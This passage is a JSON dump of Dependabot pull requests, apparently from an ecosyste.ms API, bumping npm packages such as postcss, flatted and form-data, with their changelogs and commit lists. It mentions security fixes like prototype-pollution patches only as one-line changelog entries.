href=\"https://github.com/babel/babel/commit/eebd3a06021c13d335b5b0bd79734df3abbea678\"\u003e\u003ccode\u003eeebd3a0\u003c/code\u003e\u003c/a\u003e v7.27.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/317e332e650bc04907bc787ab79f930288a3e71e\"\u003e\u003ccode\u003e317e332\u003c/code\u003e\u003c/a\u003e Enforce node protocol import (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17207\"\u003e#17207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/fdc0fb59e119ee0b38bced63867a344a5b4bc2f3\"\u003e\u003ccode\u003efdc0fb5\u003c/code\u003e\u003c/a\u003e [Babel 8] Bump nodejs requirements to \u003ccode\u003e^20.19.0 || \u0026gt;= 22.12.0\u003c/code\u003e (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17204\"\u003e#17204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/babel/babel/commits/v7.29.7/packages/babel-plugin-transform-modules-systemjs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​babel/plugin-transform-modules-systemjs\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `flatted` from 3.2.9 to 3.4.2\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/3bf09091c3562e17a0647bc06710dd6097079cf7\"\u003e\u003ccode\u003e3bf0909\u003c/code\u003e\u003c/a\u003e 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/885ddcc33cf9657caf38c57c7be45ae1c5272802\"\u003e\u003ccode\u003e885ddcc\u003c/code\u003e\u003c/a\u003e fix CWE-1321\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/0bdba705d130f00892b1b8fcc80cf4cdea0631e3\"\u003e\u003ccode\u003e0bdba70\u003c/code\u003e\u003c/a\u003e added flatted-view to the benchmark\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/2a02dce7c641dec31194c67663f9b0b12e62da20\"\u003e\u003ccode\u003e2a02dce\u003c/code\u003e\u003c/a\u003e 3.4.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/fba4e8f2e113665da275b19cd0f695f3d98e9416\"\u003e\u003ccode\u003efba4e8f\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/WebReflection/flatted/issues/89\"\u003e#89\u003c/a\u003e from WebReflection/python-fix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/5fe86485e6df7f7f34a07a2a85498bd3e17384e7\"\u003e\u003ccode\u003e5fe8648\u003c/code\u003e\u003c/a\u003e added \u0026quot;when in Rome\u0026quot; also a test for PHP\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/53517adbefe724fe472b2f9ebcdb01910d0ae3f0\"\u003e\u003ccode\u003e53517ad\u003c/code\u003e\u003c/a\u003e some minor improvement\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/b3e2a0c387bf446435fec45ad7f05299f012346f\"\u003e\u003ccode\u003eb3e2a0c\u003c/code\u003e\u003c/a\u003e Fixing recursion issue in Python too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/c4b46dbcbf782326e54ea1b65d3ebb1dc7a23fad\"\u003e\u003ccode\u003ec4b46db\u003c/code\u003e\u003c/a\u003e Add SECURITY.md for security policy and reporting\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/f86d071e0f70de5a7d8200198824a3f07fc9c988\"\u003e\u003ccode\u003ef86d071\u003c/code\u003e\u003c/a\u003e Create dependabot.yml for version updates\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/WebReflection/flatted/compare/v3.2.9...v3.4.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `form-data` from 3.0.1 to 3.0.5\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/form-data/form-data/blob/master/CHANGELOG.md\"\u003eform-data's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/form-data/form-data/compare/v3.0.4...v3.0.5\"\u003ev3.0.5\u003c/a\u003e - 2026-06-12\u003c/h2\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] escape CR, LF, and \u003ccode\u003e\u0026quot;\u003c/code\u003e in field names and filenames \u003ca href=\"https://github.com/form-data/form-data/commit/8777e67fbd0282d3dcba81f974fbdd91062c5b23\"\u003e\u003ccode\u003e8777e67\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003e@ljharb/eslint-config\u003c/code\u003e, \u003ccode\u003eauto-changelog\u003c/code\u003e, \u003ccode\u003eeslint\u003c/code\u003e, \u003ccode\u003etape\u003c/code\u003e \u003ca href=\"https://github.com/form-data/form-data/commit/27c61a5deed84798be105c96605cb8bd00502dcd\"\u003e\u003ccode\u003e27c61a5\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[Deps] update \u003ccode\u003ehasown\u003c/code\u003e \u003ca href=\"https://github.com/form-data/form-data/commit/6a8a1c6d04da36e15c80b16ecc4c0265082b3213\"\u003e\u003ccode\u003e6a8a1c6\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/form-data/form-data/compare/v3.0.3...v3.0.4\"\u003ev3.0.4\u003c/a\u003e - 2025-07-16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eappend\u003c/code\u003e: avoid a crash on nullish values \u003ca href=\"https://redirect.github.com/form-data/form-data/issues/577\"\u003e\u003ccode\u003e[#577](https://github.com/form-data/form-data/issues/577)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[eslint] update linting config \u003ca href=\"https://github.com/form-d...\n\n_Description has been truncated_","html_url":"https://github.com/big-main/personal-security-checklist/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/big-main%2Fpersonal-security-checklist/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"},{"uuid":"4904988678","node_id":"PR_kwDOLJ_vH87yqIGx","number":886,"state":"open","title":"chore(deps): bump postcss from 8.5.16 to 8.5.17","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-16T18:41:16.000Z","updated_at":"2026-07-16T18:45:00.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"postcss","old_version":"8.5.16","new_version":"8.5.17","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) from 8.5.16 to 8.5.17.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/a50352c583df991710f92ccac25b36304695161a\"\u003e\u003ccode\u003ea50352c\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/33948f0969bb858acdd52c9692e3a785a3ed0a73\"\u003e\u003ccode\u003e33948f0\u003c/code\u003e\u003c/a\u003e Prevent prototype hijacking in fromJSON\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2131909351161cd2c5fc2be58b14919a873ea824\"\u003e\u003ccode\u003e2131909\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/93440abcca92793b31c5d1fdf5f2da7b58b27599\"\u003e\u003ccode\u003e93440ab\u003c/code\u003e\u003c/a\u003e Fix non-closed \u003ccode\u003e\\\u0026lt;div align=\u0026quot;center\u0026quot;\u0026gt;\u003c/code\u003e in README (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2110\"\u003e#2110\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/1bf9076867e70f5a01776aebebee5aacbf9771ce\"\u003e\u003ccode\u003e1bf9076\u003c/code\u003e\u003c/a\u003e Remove old sponsors\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2d44be0923873ea6af2c3a1a191148e2ce9d733f\"\u003e\u003ccode\u003e2d44be0\u003c/code\u003e\u003c/a\u003e docs: fix invalid JS in writing-a-plugin examples (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2107\"\u003e#2107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3298727755a676beced3cbe67015d42e70396e4f\"\u003e\u003ccode\u003e3298727\u003c/code\u003e\u003c/a\u003e Fix \u003ccode\u003eInput#origin()\u003c/code\u003e mixing null and undefined for unmapped end position (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2106\"\u003e#2106\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.16...8.5.17\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=postcss\u0026package-manager=npm_and_yarn\u0026previous-version=8.5.16\u0026new-version=8.5.17)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/knocklabs/telegraph/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/knocklabs/telegraph/pull/886","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/knocklabs%2Ftelegraph/issues/886","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/886/packages"},{"uuid":"4899589102","node_id":"PR_kwDOACTdwM7yYckW","number":11632,"state":"closed","title":"Bump postcss from 8.5.15 to 8.5.18","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-07-17T07:03:19.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-16T07:03:02.000Z","updated_at":"2026-07-17T07:03:21.000Z","time_to_close":86417,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"postcss","old_version":"8.5.15","new_version":"8.5.18","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) from 8.5.15 to 8.5.18.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/a50352c583df991710f92ccac25b36304695161a\"\u003e\u003ccode\u003ea50352c\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/33948f0969bb858acdd52c9692e3a785a3ed0a73\"\u003e\u003ccode\u003e33948f0\u003c/code\u003e\u003c/a\u003e Prevent prototype hijacking in fromJSON\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2131909351161cd2c5fc2be58b14919a873ea824\"\u003e\u003ccode\u003e2131909\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/93440abcca92793b31c5d1fdf5f2da7b58b27599\"\u003e\u003ccode\u003e93440ab\u003c/code\u003e\u003c/a\u003e Fix non-closed \u003ccode\u003e\\\u0026lt;div align=\u0026quot;center\u0026quot;\u0026gt;\u003c/code\u003e in README (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2110\"\u003e#2110\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.15...8.5.18\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=postcss\u0026package-manager=npm_and_yarn\u0026previous-version=8.5.15\u0026new-version=8.5.18)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/alphagov/whitehall/pull/11632","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/alphagov%2Fwhitehall/issues/11632","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/11632/packages"},{"uuid":"4898494167","node_id":"PR_kwDORksMTM7yU6bA","number":15,"state":"open","title":"chore(deps): bump the minor-and-patch group across 1 directory with 41 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-16T03:48:46.000Z","updated_at":"2026-07-16T03:49:32.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"minor-and-patch","update_count":41,"packages":[{"name":"@hookform/resolvers","old_version":"5.2.2","new_version":"5.4.0","repository_url":"https://github.com/react-hook-form/resolvers"},{"name":"@radix-ui/react-accordion","old_version":"1.2.12","new_version":"1.2.16","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-alert-dialog","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-aspect-ratio","old_version":"1.1.8","new_version":"1.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-avatar","old_version":"1.1.11","new_version":"1.2.2","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-checkbox","old_version":"1.3.3","new_version":"1.3.7","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-context-menu","old_version":"2.2.16","new_version":"2.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.16","new_version":"2.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-hover-card","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-label","old_version":"2.1.8","new_version":"2.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-menubar","old_version":"1.1.16","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-navigation-menu","old_version":"1.2.14","new_version":"1.2.18","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-progress","old_version":"1.1.8","new_version":"1.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-radio-group","old_version":"1.3.8","new_version":"1.4.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-scroll-area","old_version":"1.2.10","new_version":"1.2.14","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-select","old_version":"2.2.6","new_version":"2.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.8","new_version":"1.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-slider","old_version":"1.3.6","new_version":"1.4.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-switch","old_version":"1.2.6","new_version":"1.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.13","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle","old_version":"1.1.10","new_version":"1.1.14","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle-group","old_version":"1.1.11","new_version":"1.1.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.8","new_version":"1.2.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"date-fns","old_version":"4.1.0","new_version":"4.4.0","repository_url":"https://github.com/date-fns/date-fns"},{"name":"framer-motion","old_version":"12.35.2","new_version":"12.42.2","repository_url":"https://github.com/motiondivision/motion"},{"name":"react","old_version":"19.2.3","ne